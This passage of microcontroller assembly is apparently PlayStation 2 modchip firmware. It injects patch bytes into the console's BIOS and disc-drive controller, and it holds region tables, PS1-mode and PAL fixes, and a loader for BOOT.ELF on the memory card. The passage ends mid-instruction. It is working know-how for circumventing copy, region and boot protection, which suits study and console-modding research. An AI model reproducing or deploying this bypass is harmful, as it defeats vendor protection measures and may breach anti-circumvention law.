SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC mov w,#$15 mov fsr,w SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb VAR_SWITCH.4 page $0600 jmp FINISHED_RUN_START snb VAR_SWITCH.1 page $0400 jmp PS1_MODE_SUCESSFUL_END page $0000 jmp CHECK_IF_START_PS2LOGO SECONDBIOS_PATCH_DEV1_STACK mov w,#$1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_TOFFSET mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$73 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC Label_0097 mov w,#$34 ; ? likely some 75k patches? mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$50 mov fsr,w mov w,#$20 mov indf,w mov w,#$54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$5a mov fsr,w mov w,#$8 mov indf,w mov w,#$10 mov VAR_DC1,w mov w,#$64 mov VAR_DC3,w mov w,#$5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA POST_PATCH_4_MODE_START page $0000 ; PAGE1 call SET_RB_IO_BUS_WAKE POST_PATCH_4_MODE_START2 snb VAR_SWITCH.4 page $0600 jmp FINISHED_RUN_START_P2 mov w,#$64 mov VAR_TOFFSET,w POST_PATCH_4_MODE_START_L1 mov w,#$ff mov VAR_DC3,w POST_PATCH_4_MODE_START_L2 mov w,#$ff mov VAR_DC2,w POST_PATCH_4_MODE_START_L3 mov w,#$ff mov VAR_DC1,w POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_TOFFSET jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 POST_PATCH_4_MODE_START_P2 mov w,#$a2 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 clr fsr mov w,#$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 snb VAR_SWITCH.3 jmp POST_PATCH4MODE_END_P2 mov w,#$15 mov fsr,w POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb VAR_PATCH_FLAGS.0 page $0000 jmp TRAY_IS_EJECTED jmp POST_PATCH_4_MODE_START2 POST_PATCH4MODE_END_P2 clrb VAR_SWITCH.3 jmp POST_PATCH_4_MODE_START2 PS2_MODE_RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. ; Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable MIWU operation. snb VAR_PATCH_FLAGS.2 ; jmp PS1_MODE_RB_IO_SET_SLEEP if VAR_PATCH_FLAGS.2 is set jmp PS1_MODE_RB_IO_SET_SLEEP ; skip below io set and jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 ; 1111 0001 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST rb.3 IO_EJECT enabled sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep org $0400 ; PAGE4 400-5FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P4 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w retw $0 retw $e0 retw $3 retw $21 retw $10 retw $0 retw $0 mov w,#$33 mov VAR_DC3,w sb VAR_SWITCH.5 jmp PS2LOGO_PATCH_22_JMP1 mov w,#$d mov VAR_DC3,w retw $40 retw $8 retw $11 retw $3c retw $8 retw $0 retw $32 retw $36 retw $f8 retw $1 retw $92 retw $ac retw $21 retw $0 retw $40 retw $8 retw $b retw $0 retw $32 retw $36 retw $10 retw $0 retw $4 retw $3c retw $18 retw $16 retw $92 retw $ac retw $0 retw $0 retw $4 retw $8 mov w,#$46 mov VAR_DC3,w snb VAR_SWITCH.5 jmp PS2LOGO_PATCH_22_JMP2 mov w,#$33 mov VAR_DC3,w PS2LOGO_PATCH_22_JMP1 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $32 retw $36 retw $18 retw $16 retw $92 retw $ac retw $c retw $0 retw $0 retw $0 PS2LOGO_PATCH_22_JMP2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#$75 mov VAR_DC3,w snb VAR_PATCH_FLAGS.3 jmp PS2LOGO_PATCH_11_17_JMP1 mov w,#$70 mov VAR_DC3,w retw $d0 retw $80 mov w,#$77 mov VAR_DC3,w jmp PS2LOGO_PATCH_19_20_JMP1 PS2LOGO_PATCH_11_17_JMP1 retw $50 retw $81 PS2LOGO_PATCH_19_20_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#$ab mov VAR_DC3,w snb VAR_PATCH_FLAGS.3 jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#$97 mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af PS2LOGO_PATCHLOAD_22_JMP1 mov w,#$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 START_PS2LOGO_PATCH_LOAD mov w,#$7b mov VAR_DC1,w snb VAR_SWITCH.5 jmp PS2LOGO_PATCHLOAD_22_JMP2 mov w,#$6e mov VAR_DC1,w PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w mov w,#$15 mov fsr,w PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr mov w,#$10 or fsr,w inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb VAR_PATCH_FLAGS.2 page $0200 jmp Label_0097 snb VAR_SWITCH.3 page $0200 jmp POST_PATCH_4_MODE_START2 PS1_DETECTED_REBOOT clr fsr mov w,#$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb VAR_SWITCH.5 jmp PS1_DETECTED_REBOOT_JMP20to22 mov w,#$67 mov VAR_DC2,w mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w snb VAR_SWITCH.0 jmp PS1_DETECTED_REBOOT_JMP20to22 mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb VAR_PATCH_FLAGS.3 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#$1e mov VAR_PSX_TEMP,w PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#$57 mov VAR_DC2,w PS1_DETECTED_REBOOT_JMP20to22 mov w,#$50 mov VAR_PSX_BYTE,w PS1_DETECTED_REBOOT_L1 mov w,#$ff mov VAR_DC3,w PS1_DETECTED_REBOOT_L2 mov w,#$ff mov VAR_DC1,w AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 IFDEF RSTBUMP mode $000B ; XBh IO_CDDVD_BUS WKEN_B: Wakeup Enable Register (MODE=XBh) Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable, MIWU operation. see Section 4.4. mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; above set for IO_CDDVD_BUS mode $000F ; XFh mode direction for RA, IO_CDDVD_BUS, RC output mov w,#$0 ; 0000 0000 mov IO_CDDVD_BUS,w ; IO_CDDVD_BUS = 0 ? clear IO_CDDVD_BUS values mov w,#$fb ; 1111 1011 IO_REST IO_REST output ELSE mov w,#$0 ; set w = #$0 = 0 mov IO_CDDVD_BUS,w ; set IO_CDDVD_BUS = w = 0 ? clear IO_CDDVD_BUS values mov w,#$fe ; 1111 1110 IO_CDDVD_BUS_f F output ENDIF mov !IO_CDDVD_BUS,w page $0000 call MODE_SELECT_TIMER mov w,#$ff mov !IO_CDDVD_BUS,w setb VAR_PATCH_FLAGS.2 page $0000 jmp CHECK_IF_V9to14 PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START mov w,#$1b mov fsr,w snb VAR_SWITCH.5 jmp PS1_MODE_L5 snb VAR_SWITCH.0 jmp PS1_MODE_v12_PATCHS mov w,#$3c mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_TOFFSET jmp PS1_DETECTED_REBOOT_JMP11to17_ALL PS1_MODE_SUCESSFUL_END snb VAR_PATCH_FLAGS.2 jmp PS1_CONSOLE_ALL_JMPNTSC setb VAR_PATCH_FLAGS.0 page $0200 jmp POST_PATCH_4_MODE_START2 PS1_MODE_v12_PATCHS mov w,#$1c mov fsr,w setb VAR_SWITCH.1 page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 PS1_CONSOLE_PAL_YFIX mov w,#$3c mov IO_BIOS_DATA,w mov w,#$b mov VAR_DC2,w mov w,#$15 mov fsr,w PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_TOFFSET jmp PS1_CONSOLE_PAL_YFIX PS1_CONSOLE_ALL_JMPNTSC mov w,#$34 ; should jmp here for ntsc but is no flow to here besides via ps1 hence poor ntsc console ps1 support h2o. is no ntsc yfix mov VAR_DC1,w mov w,#$18 mov VAR_DC3,w mov VAR_TOFFSET,w PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 decsz VAR_TOFFSET jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w setb VAR_PATCH_FLAGS.0 page $0000 jmp PS1_MODE_START_PATCH org $0600 ; PAGE8 600-7FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- NOTCALLED4 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P8 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ; straight patch flow 0 - 115 ;-------------------------------------------------------------------------------- jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb VAR_PATCH_FLAGS.2 ; VAR_PATCH_FLAGS.2 clrb here related finish mode run ? setb VAR_PATCH_FLAGS.1 setb VAR_PATCH_FLAGS.0 setb VAR_SWITCH.4 mov w,#$73 mov VAR_DC1,w ; VAR_DC1 = 73h = 115 clr w mov VAR_DC3,w ; VAR_DC3 = 0 mov w,#$15 mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat inc VAR_DC3 ; + 1 VAR_DC3 starting 0 above decsz VAR_DC1 ; jmp DEV1_MODE_LOAD_LOOP till VAR_DC1 = 0 start 119 jmp DEV1_MODE_LOAD_LOOP page $0200 ; PAGE2 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- NOTCALLED2 snb IO_CDDVD_OE_A_1Q ; jmp MECHACON_WAIT_OE if ^Q = 1 jmp MECHACON_WAIT_OE ; wait until flipflop ^Q == 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so Q = 0 (and ^Q = 1) nop ; ... setb IO_CDDVD_OE_A_1R ; reset flipflop so ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A decsz VAR_DC1 ; decrement counter and repeat MECHACON_WAIT_OE if not yet zero jmp MECHACON_WAIT_OE ; ... ret ; counter finished: return ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R snb VAR_SWITCH.5 jmp V9toV14_CONSOLE_CDDVD_START mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START V1toV8_CONSOLE_CDDVD_START mov w,#$4 mov VAR_DC1,w V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT V9toV14_CONSOLE_CDDVD_START mov w,#$f mov VAR_DC1,w V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb VAR_PATCH_FLAGS.2 page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$1f V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R mov w,#$5 mov VAR_DC1,w call 